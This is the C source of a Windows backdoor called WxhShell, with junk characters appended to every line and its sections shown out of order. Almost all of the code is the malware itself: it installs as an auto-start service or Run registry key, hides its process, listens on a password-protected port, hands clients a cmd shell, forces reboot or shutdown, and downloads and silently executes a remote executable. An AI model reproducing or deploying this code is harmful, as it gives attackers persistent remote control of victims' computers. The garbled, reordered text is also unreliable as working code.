    ExitThread(0); `~axOp9N  
    } @>`N%wH'  
    break; FkMM>X  
    } J;fbE8x  
  // 获取shell 6T"5,Q</h  
  case 's': { FkaQVT  
    CmdShell(wsh); <a CzB7x  
    closesocket(wsh); *4 m]UK  
    ExitThread(0); o<|u4r={s  
    break; T&dc)t`o  
  } *`s*l+0b  
  // 退出 KjA7x  
  case 'x': { w^~s4Q_>>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,*$Y[UT  
    CloseIt(wsh); J?p|Vy|9  
    break; .:-*89c  
    } i39_( )X  
  // 离开 k]4CN  
  case 'q': { z'Bvjul  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |}l/6WHB  
    closesocket(wsh); `[=/f=Q}  
    WSACleanup(); mv<cyWp  
    exit(1); ?zo7.R-Vac  
    break; }m!T~XR</  
        } p E1uD4lLb  
  } *R&77 o7  
  } Vl7V?`_4  
^(*eoe  
  // 提示信息 JWt@vf~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #,j m3M qj  
} 3&X5*-U  
  } 'fb&3  
]<},[s  
  return; 7CT446  
} .j!:Hp(z}  
2V @ pt  
// shell模块句柄  @C'qbO{  
int CmdShell(SOCKET sock) j97c@  
{ RZvRV?<bR  
STARTUPINFO si; uL-$^],  
ZeroMemory(&si,sizeof(si)); GyE5jh2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dDe$<g5L4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qE^u{S4Z@  
PROCESS_INFORMATION ProcessInfo; *@ \LS!N  
char cmdline[]="cmd"; Swv =gu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Or1ikI"  
  return 0; <t*3w  
} yWYsN  
5N>L|J2  
// 自身启动模式 e ~G IUwJ  
int StartFromService(void) B3u:D"t  
{ Xp^71A?>  
typedef struct btf]~YN  
{ 9@(V!G  
  DWORD ExitStatus; #1>c)_H  
  DWORD PebBaseAddress; ?cr^.LV|h^  
  DWORD AffinityMask; 7*&q"   
  DWORD BasePriority; _t7aOH  
  ULONG UniqueProcessId; -A8CW9|mk  
  ULONG InheritedFromUniqueProcessId; ~:A=o?V2  
}   PROCESS_BASIC_INFORMATION; ~RM_c  
xqKj&RuLu  
PROCNTQSIP NtQueryInformationProcess; [MM`#!K%  
uY )|   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JOq&(AZe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dqL)q3  
i;<H^\%  
  HANDLE             hProcess; Ut"F b  
  PROCESS_BASIC_INFORMATION pbi; :jWQev"/  
6$+F5T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NSh~O!pX  
  if(NULL == hInst ) return 0; tjy@sO/Q  
z!9w Lo^r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $Jy1=/W&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E7Pz~6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]\%u9,b%!  
BG20R=p  
  if (!NtQueryInformationProcess) return 0; JLxAk14lc  
gM#]o QOGE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wtro'r3  
  if(!hProcess) return 0; 4q^'MZm1  
DmpD`^?-L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yFqB2(Dv  
GA)t!Xg^  
  CloseHandle(hProcess); p?sC</R  
"M:0lUy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [RUYH5>Ik  
if(hProcess==NULL) return 0; %wux#"8  
&p^8zEs  
HMODULE hMod; .\ces2,  
char procName[255]; @X>Oj.  
unsigned long cbNeeded; jUX0sRDk  
czp}-{4X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |rk4,NG.  
-6>T0-  
  CloseHandle(hProcess); r`CsR0[  
OM7EmMa;  
if(strstr(procName,"services")) return 1; // 以服务启动 u"1Zv!  
)KD*G;<O]L  
  return 0; // 注册表启动 39,7N2uY  
} GZqy.AE,  
xrl!$xE GX  
// 主模块 b\Gw|?Rv  
int StartWxhshell(LPSTR lpCmdLine) DlbNW& V  
{ w57D qG>  
  SOCKET wsl; L(qQ,1VY  
BOOL val=TRUE; 8d"Ff  
  int port=0; 0h~7"qUF@  
  struct sockaddr_in door; 3,-xk!W$L  
r(cd?sL96R  
  if(wscfg.ws_autoins) Install(); ~vKDB$2  
KSO%89R'  
port=atoi(lpCmdLine); 6 - IThC  
QJ,~K&?  
if(port<=0) port=wscfg.ws_port; U]"6KS   
y6&o+;I$[  
  WSADATA data; dC?l%,W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9PG3cCr?  
@Uqcym.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :8Ugz~i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m0]Lc{  
  door.sin_family = AF_INET; 6OZ n7:)Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S+u@ Q}  
  door.sin_port = htons(port); ?:Rw[T@ l  
M-A{{q   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QURpg/<U  
closesocket(wsl); 9j<7KSj  
return 1; RpzW-  
} &G_XgQsg{  
e|4U2\&3y  
  if(listen(wsl,2) == INVALID_SOCKET) { i}~U/.P   
closesocket(wsl); \N.Bx  
return 1; L DdgI  
} ?zK\!r{  
  Wxhshell(wsl); }VqCyJu&{  
  WSACleanup(); +GT"n$)+  
 ?S'Wd=  
return 0; rhC x&L  
8[x{]l[  
} rGQY  
ms#|Y l1/|  
// 以NT服务方式启动 I]Vkaf I>(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r^`~GG!,Q  
{ Z8o8>C\d9/  
DWORD   status = 0; "T.Qb/97@  
  DWORD   specificError = 0xfffffff; @UW*o&pGqL  
4d%QJ7y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U?j[ 8z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c Sktm&SP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5 &s<&h  
  serviceStatus.dwWin32ExitCode     = 0; *_eY +\j  
  serviceStatus.dwServiceSpecificExitCode = 0; XyD*V;.E  
  serviceStatus.dwCheckPoint       = 0; Ha~} NO  
  serviceStatus.dwWaitHint       = 0; A5,(P$@ k  
s[}cj+0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); afye$$X  
  if (hServiceStatusHandle==0) return; ( \7Yo^  
hzrS_v  
status = GetLastError(); l:j>d^V*&x  
  if (status!=NO_ERROR) B1 xlWdm  
{ {$'oKJy*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dyt.( 2  
    serviceStatus.dwCheckPoint       = 0; )pw53,7>aN  
    serviceStatus.dwWaitHint       = 0; uwu`ms7z 2  
    serviceStatus.dwWin32ExitCode     = status; GhW{6.^  
    serviceStatus.dwServiceSpecificExitCode = specificError; d8VFa'|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b\C1qM4  
    return; ~/;shs<9EM  
  } V(F1i%9lg  
#./8inbG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }M &hcw<  
  serviceStatus.dwCheckPoint       = 0; 1  Lz  
  serviceStatus.dwWaitHint       = 0; Y"E*#1/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,ZvlK N  
} 2 P9{?Y  
9.Yn]O  
// 处理NT服务事件,比如:启动、停止 }kMKA.O"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0f"la=6  
{ >(a[b@[K  
switch(fdwControl) 1Wz5Iv#Ez  
{ **F-#",  
case SERVICE_CONTROL_STOP: Kzrd<h]`)  
  serviceStatus.dwWin32ExitCode = 0; Br!;Ac&N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  g!}]FQBb  
  serviceStatus.dwCheckPoint   = 0; r,JQR)l0@V  
  serviceStatus.dwWaitHint     = 0; /Z6lnm7wJ  
  { B/;> v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *V kaFQZ$,  
  } M*0^<e~]F  
  return; 84WD R?  
case SERVICE_CONTROL_PAUSE: O z6$u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9I/l+IS"X  
  break; PRU&y/zZmG  
case SERVICE_CONTROL_CONTINUE: -W9DH^EL<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nud =K'P=  
  break; 1\fx57a\  
case SERVICE_CONTROL_INTERROGATE: )YAa7\Od  
  break; vcFR Td  
}; 'd~(=6J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VZt%cq  
} qGA|.I9,  
e8<}{N0,n  
// 标准应用程序主函数 HF*0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [P+kQBL pL  
{ P4#i]7%  
3Rb#!tx9  
// 获取操作系统版本 4MPy}yT*  
OsIsNt=GetOsVer(); ^y@ W\  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  $U?]^  
7n#-3#_mG  
  // 从命令行安装 b#?sx"z  
  if(strpbrk(lpCmdLine,"iI")) Install(); `o{ Z;-OF  
-| FHv+  
  // 下载执行文件 >UCg3uFj  
if(wscfg.ws_downexe) { TnN yth wZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nook/7]  
  WinExec(wscfg.ws_filenam,SW_HIDE); :k_&Zd j,B  
} i(|u g_^  
a(vt"MQ_  
if(!OsIsNt) { IVPN=jg?  
// 如果时win9x,隐藏进程并且设置为注册表启动 #r#[&b  
HideProc(); ]jD\4\M}  
StartWxhshell(lpCmdLine); /O:4u_  
} @ ;!IPiU  
else \OVFZ D  
  if(StartFromService()) Z5'^81m$o  
  // 以服务方式启动 ~ L4NK#  
  StartServiceCtrlDispatcher(DispatchTable); 1Of(O!  
else B<I(t"s  
  // 普通方式启动 hZ1enej)  
  StartWxhshell(lpCmdLine); RyK~"CWT  
|p/ *OFC6  
return 0; /p<9C?  
} y-26\eY^P  
l+6c|([  
Z|C,HF+m.  
)>1}I_1j)  
=========================================== +UDt2  
%"v:x?d$$o  
Gl>\p  
Ypzmc$Xfu  
F{jxs/~  
Q$ew.h  
" c~tl0XU1  
ZRf9'UwS  
#include <stdio.h> u~OlJ1V  
#include <string.h> T!,5dt8L  
#include <windows.h> Bg),Q8\I  
#include <winsock2.h> ^mq(j_E.  
#include <winsvc.h> JxinfWk  
#include <urlmon.h> {?:]'c  
;\w3IAa|V  
#pragma comment (lib, "Ws2_32.lib") ~qqxHymc  
#pragma comment (lib, "urlmon.lib") <<LLEdB  
3*I\#Z4p1  
#define MAX_USER   100 // 最大客户端连接数 kqKT>xo4EZ  
#define BUF_SOCK   200 // sock buffer 5)< Y3nU~  
#define KEY_BUFF   255 // 输入 buffer 48 wt  
%JBLp xnq  
#define REBOOT     0   // 重启 ta{24{?M\  
#define SHUTDOWN   1   // 关机 eOb--@~8  
]<<,{IQ  
#define DEF_PORT   5000 // 监听端口 v'?Smd1v /  
9KX% O-'  
#define REG_LEN     16   // 注册表键长度 )f$4: Pq  
#define SVC_LEN     80   // NT服务名长度 L6CI9C;-b  
-m}'I8  
// 从dll定义API -ZE YzZqY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9.(|ri  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,+df=>$W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )ItABl[{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ifw}(  
0JtM|Mg  
// wxhshell配置信息 F?'  
struct WSCFG { .bY>++CAPA  
  int ws_port;         // 监听端口 vQCb?+X&  
  char ws_passstr[REG_LEN]; // 口令 'l(s)Oa{M:  
  int ws_autoins;       // 安装标记, 1=yes 0=no zI[<uvxzW`  
  char ws_regname[REG_LEN]; // 注册表键名 /lR*ab  
  char ws_svcname[REG_LEN]; // 服务名 8a*&,W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1av#u:jy~>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *jhgCm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'nPI zK<v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =-Hhm($n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .I~:j`K6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WA2NjxYz  
[q%`q`EG  
}; \2; !}  
iA{q$>{8  
// default Wxhshell configuration *0" ojfVn  
struct WSCFG wscfg={DEF_PORT, s``a{ HZ  
    "xuhuanlingzhe", ]0T*#U/P  
    1, 2&*#k  
    "Wxhshell", %ud-3u52M8  
    "Wxhshell", =iB[sLEJ  
            "WxhShell Service", kk`K;`[tB  
    "Wrsky Windows CmdShell Service", LT$t%V0?.e  
    "Please Input Your Password: ", E] g Lwg9K  
  1, BDf M4  
  "http://www.wrsky.com/wxhshell.exe", F)~>4>hPr  
  "Wxhshell.exe" /TsXm-g#  
    }; lF64g  
Iq%<E:+GL  
// 消息定义模块 ~8&->?{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ! 7V>gWhR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H_@6!R2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DNZ,rL:h  
char *msg_ws_ext="\n\rExit."; b4wT3  
char *msg_ws_end="\n\rQuit."; 445JOP  
char *msg_ws_boot="\n\rReboot..."; _*UI}JtlS  
char *msg_ws_poff="\n\rShutdown..."; :q3w;B~  
char *msg_ws_down="\n\rSave to "; 3:Nc`tM_  
3PvxU|*F  
char *msg_ws_err="\n\rErr!"; 1\,k^Je7  
char *msg_ws_ok="\n\rOK!"; Gjeb)Y6N  
g"" 1\rc=  
char ExeFile[MAX_PATH]; MJX4;nbl  
int nUser = 0; ??aO3Vm{  
HANDLE handles[MAX_USER]; A-L1vu;  
int OsIsNt; I(7 GVYM  
Pqx?0 f)  
SERVICE_STATUS       serviceStatus; jY\z+lW6A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mf g>69,w  
Fc[vs52  
// 函数声明 mCt/\  
int Install(void); rD21:1s  
int Uninstall(void); '^m'r+B"  
int DownloadFile(char *sURL, SOCKET wsh); Vaf,  
int Boot(int flag); syLdm3d|  
void HideProc(void); <gi~:%T  
int GetOsVer(void); :Ni#XZ{F-/  
int Wxhshell(SOCKET wsl); s@$0!8sxm  
void TalkWithClient(void *cs); D(Rr<-(  
int CmdShell(SOCKET sock); V+D5<nICr  
int StartFromService(void); >'Lkn2WI  
int StartWxhshell(LPSTR lpCmdLine); UH0l8ixc  
kwaZn~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); } Ifa5Lq)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p>pN?53S  
0xDn!  
// 数据结构和表定义 I}u\ov_Su  
SERVICE_TABLE_ENTRY DispatchTable[] = v/xlb&Xx  
{ U}:+Hz9  
{wscfg.ws_svcname, NTServiceMain}, i 1w ]j  
{NULL, NULL} 5JaLE5-  
}; DqY"N ]  
l"JM%LV  
// 自我安装 @ NDcO,]  
int Install(void) K:-jn}i?/  
{ ~D5FnN9  
  char svExeFile[MAX_PATH]; ]:@{tX 7c  
  HKEY key; m4h)Wq  
  strcpy(svExeFile,ExeFile); An#[ +?  
b=S"o )>  
// 如果是win9x系统,修改注册表设为自启动 uSYI X  
if(!OsIsNt) { &a'mG=(K_c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h2Z Gh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7oDr`=q1]r  
  RegCloseKey(key); dOe|uQXyD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ts Zr n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $IQ  !g  
  RegCloseKey(key); dHnId2@#  
  return 0; Cj}1 )qWq  
    } @W^A%6"j  
  } 6;GL>))'  
} Oav^BhUO  
else { INrUvD/*  
D;|4ZjM-  
// 如果是NT以上系统,安装为系统服务 :(Feg2c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t  HPC  
if (schSCManager!=0) g4I&3 M  
{ c;ELAns>  
  SC_HANDLE schService = CreateService >b0e"eGt  
  ( /9WR>NUAO  
  schSCManager, *IGgbg[0  
  wscfg.ws_svcname, n5%rsNxg  
  wscfg.ws_svcdisp, eGblQGRS  
  SERVICE_ALL_ACCESS, SN'LUwaMp!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =1%3". "n@  
  SERVICE_AUTO_START, l\*}  
  SERVICE_ERROR_NORMAL, 1HBch]J  
  svExeFile, '@Y@H,  
  NULL, 5_nkN`x  
  NULL, b'^ -$  
  NULL, gR(*lXm5w  
  NULL, M,PZ|=V6a  
  NULL Bj J$I^  
  ); t.>vLzrU  
  if (schService!=0) ;EE*#"IJ  
  { xk}YeNVj  
  CloseServiceHandle(schService); lBL;aTzo  
  CloseServiceHandle(schSCManager); ^;$f-e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");   ]5'  
  strcat(svExeFile,wscfg.ws_svcname); "S^;X @#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9QI\[lT&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?jBna ~  
  RegCloseKey(key); ~-6Kl3Y  
  return 0; A[!Fg0X0  
    } Hi9;i/  
  } RIM"MR9qe=  
  CloseServiceHandle(schSCManager); I, .`w/I+  
} 9+SeG\Th  
} C 9,p-  
 vu  YH+  
return 1; u /cL[_Q  
} ^&DHBx"J  
{`~{%2ayq7  
// 自我卸载 ts%@1Y?  
int Uninstall(void) S0g5Ym ia  
{ Ps.O.2Z5ZB  
  HKEY key; wI}5[m  
E'&UWD h  
if(!OsIsNt) { 7##nY3",^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^`\c;!)F<  
  RegDeleteValue(key,wscfg.ws_regname); IX^k<Jqr  
  RegCloseKey(key); Jnm{i|6N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f 7et  
  RegDeleteValue(key,wscfg.ws_regname); ?U2ed)zzw  
  RegCloseKey(key); }jfU qqFd  
  return 0; MlsF?"H p  
  } ^,b*.6t  
} ev#d1s|<S  
} ,ibI@8;#~'  
else { x"v5'EpL  
Yk:fV&]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yq#I# 2RD  
if (schSCManager!=0) oFHVA!lqe  
{ 9ToM5oQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J~DP*}~XK  
  if (schService!=0) 7~eo^/Pb S  
  { -Z<e`iFQS  
  if(DeleteService(schService)!=0) { n@5pS3qZ  
  CloseServiceHandle(schService); brNe13d3~"  
  CloseServiceHandle(schSCManager); V@8 4Cb  
  return 0; u sR19_E-  
  } JXGIVH?Rpu  
  CloseServiceHandle(schService); av gGz8  
  } V_~}7~ I  
  CloseServiceHandle(schSCManager); '9*wr*  
} >;HbD p  
} b UAjt>+  
LlRvm/  
return 1; =1^Ru*G  
} ~DPg):cZ  
{j,bV6X  
// 从指定url下载文件 2ADUJ  
int DownloadFile(char *sURL, SOCKET wsh) %zd1\We  
{ W]_+3qvZ  
  HRESULT hr; LZM[Wg#  
char seps[]= "/"; .ymR%X_k  
char *token; BYVp~!u  
char *file; ZHICpL  
char myURL[MAX_PATH]; +sE81B  
char myFILE[MAX_PATH]; Vs8os+  
y*\ M7}](  
strcpy(myURL,sURL); X&^t 8  
  token=strtok(myURL,seps); \H<'W"  
  while(token!=NULL) )(\5Wk9(  
  { _"a(vfl#  
    file=token; {+z+6i  
  token=strtok(NULL,seps); gO4J[_  
  } aAu upPu  
p4W->AVv$  
GetCurrentDirectory(MAX_PATH,myFILE); OWB^24Z&3  
strcat(myFILE, "\\"); A]BG*  
strcat(myFILE, file); . ~G>vVb  
  send(wsh,myFILE,strlen(myFILE),0); h}z^NX  
send(wsh,"...",3,0); zEF3B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?O\n!c  
  if(hr==S_OK) 6VQ*z8wLw  
return 0; =35EG{W(  
else 27t:-O  
return 1; z.]t_`KuF9  
HG=!#-$9  
} VV?+q)  
'8i np[_  
// 系统电源模块 \0(QO8.  
int Boot(int flag) mV`Z]-$$i  
{ tV*g1)'zX  
  HANDLE hToken; }.o rfW  
  TOKEN_PRIVILEGES tkp; zL3~,z/o  
%nF6n:|:  
  if(OsIsNt) { U&wVe$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %=S^{A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;r^8In@6  
    tkp.PrivilegeCount = 1; 6g@j,iFy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :5U(}\dL{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l0tMdsz  
if(flag==REBOOT) { h k(2,z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3UD_2[aqN(  
  return 0; wRnt$ 1  
} e0j*e7$  
else { k-Jj k3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <|hvH  
  return 0; BA A)IQF  
} 6;I&{9  
  } UG&/0{j5XV  
  else { G}BO!Z6  
if(flag==REBOOT) { Nypa,_9}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f*1.Vg0`-  
  return 0; 2ztP'  
} bzk@6jR1  
else { x?va26FV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bH3-#mw5w  
  return 0; ?%;7k'0"  
} %Ni)^   
} lmj73OB3  
{\;CGoN|  
return 1; Gow_a'  
} *vCJTz  
s7(mNpo  
// win9x进程隐藏模块 R\A5f\L9  
void HideProc(void) iW-w?!>|m  
{ 2[r#y1ro  
k U*\Fa*E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1W$@ V!  
  if ( hKernel != NULL ) k/j]*~"  
  { c/x ^I{b*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h[ba$S,T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wl;F]_|*(  
    FreeLibrary(hKernel); 5mnIQ~psR  
  } nI|jUD +y  
]hS4'9lD  
return; ?bmP<(N5/  
} T.`EDluG  
Pqo"~&Y|~  
// 获取操作系统版本 c:>&Bg&,6T  
int GetOsVer(void) u~bk~ 3.I  
{ l yF~E  
  OSVERSIONINFO winfo; vtCt6M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vbmi_[,U  
  GetVersionEx(&winfo); 9p+DA s{i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CbS- Rz:  
  return 1; D;.-e  
  else n0>#?ek12  
  return 0; &}OaiTzEmc  
} )f*&}SV  
uPr@xff  
// 客户端句柄模块 +a"MSPC4w  
int Wxhshell(SOCKET wsl) {" Van,w  
{ QyJ}zwD  
  SOCKET wsh; ucL}fnY1  
  struct sockaddr_in client; ['tGc{4  
  DWORD myID; 7xMvf<1P  
g.SFl  
  while(nUser<MAX_USER) (}V.xi  
{ rNO'0Ck=  
  int nSize=sizeof(client); V~+Oil6sa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q\<C9%a  
  if(wsh==INVALID_SOCKET) return 1; ,gUSW  
&UEr4RK;I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g"`BNI]Qp  
if(handles[nUser]==0) $!G7u<`na  
  closesocket(wsh); i`z1if6O  
else ?y>P  
  nUser++; qTj7mUk  
  } 1 }Tbp_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); + Hc[5WL  
;;2XLkWu  
  return 0; !0zbWB9  
} E2Q;1Re@  
mHM38T9C%  
// 关闭 socket 3PIZay  
void CloseIt(SOCKET wsh) r.lH@}i%n  
{ p3&/F=T;)  
closesocket(wsh); `J'xVq#O  
nUser--; *l)_&p  
ExitThread(0); ?S~HnIn  
} O6pswMhAc  
}JeGjpAcV  
// 客户端请求句柄 g"EvMv&  
void TalkWithClient(void *cs) M/EEoK^K@  
{ )iNM jg  
9s>q4_D  
  SOCKET wsh=(SOCKET)cs; WldlN?[j  
  char pwd[SVC_LEN]; =kp #v  
  char cmd[KEY_BUFF]; B: \\aOEj  
char chr[1]; zq>pK_WG  
int i,j; lG I1LUo  
Aq yR+  
  while (nUser < MAX_USER) { ({v$!AAv  
^ |z|kc  
if(wscfg.ws_passstr) { O:IU|INq8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JF!JY( U,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ew5(U`]  
  //ZeroMemory(pwd,KEY_BUFF); j1Fy'os"!  
      i=0; uUB,OmLN  
  while(i<SVC_LEN) { umaF}}-Q{  
Dq/_^a/1  
  // 设置超时 )a AKO`  
  fd_set FdRead; :.e`w#$7  
  struct timeval TimeOut; |]1-ck!  
  FD_ZERO(&FdRead); ]P;uQ!  
  FD_SET(wsh,&FdRead); i,r O3J n  
  TimeOut.tv_sec=8; z#ab V1 Xi  
  TimeOut.tv_usec=0; VCSHq&p8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {F6>XuS=u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Fs}8\z  
Bi;D d?.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =iW!Mq  
  pwd=chr[0]; 5%BexIk  
  if(chr[0]==0xd || chr[0]==0xa) { [fx1H~T<  
  pwd=0; }TY}sr  
  break; ,pM~Phmp  
  }  J -tOO  
  i++; 7I;xRo|  
    } hiq7e*Nsb  
Yz(k4K L  
  // 如果是非法用户,关闭 socket YT'G#U1x~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a"SH_+T{  
} 2~dUnskyy  
)9I>y2WU~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m?'H 7cFR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )hs"P%Zg  
;\ ^'}S|3Z  
while(1) { 4Vl_vTz{i  
eG&\b-%  
  ZeroMemory(cmd,KEY_BUFF); d3-F?i 5d  
2l]*><q|  
      // 自动支持客户端 telnet标准   t5t,(^;f  
  j=0; I,TJV)B  
  while(j<KEY_BUFF) { ,cZhkXd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l/1u>'  
  cmd[j]=chr[0]; R % [ZQ K  
  if(chr[0]==0xa || chr[0]==0xd) { ~A@T_ *0  
  cmd[j]=0; _&V%idz!0  
  break; &.XlXihnt  
  } yHhx- `  
  j++; 8=QOp[w   
    } /kV3[Rw+  
z"#iG&>a,  
  // 下载文件 )3K#${p  
  if(strstr(cmd,"http://")) { Z/-9G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mApn[)?tv  
  if(DownloadFile(cmd,wsh)) Tzr_K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p7et>;WRx  
  else =1Nz* c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aF*KY<w  
  } wcr3ugvT  
  else {  ?QA![  
F6 mc<n  
    switch(cmd[0]) { :rxS &5  
  SnIH6k0T_  
  // 帮助 0lpkG ="&r  
  case '?': { A*+pGQ  
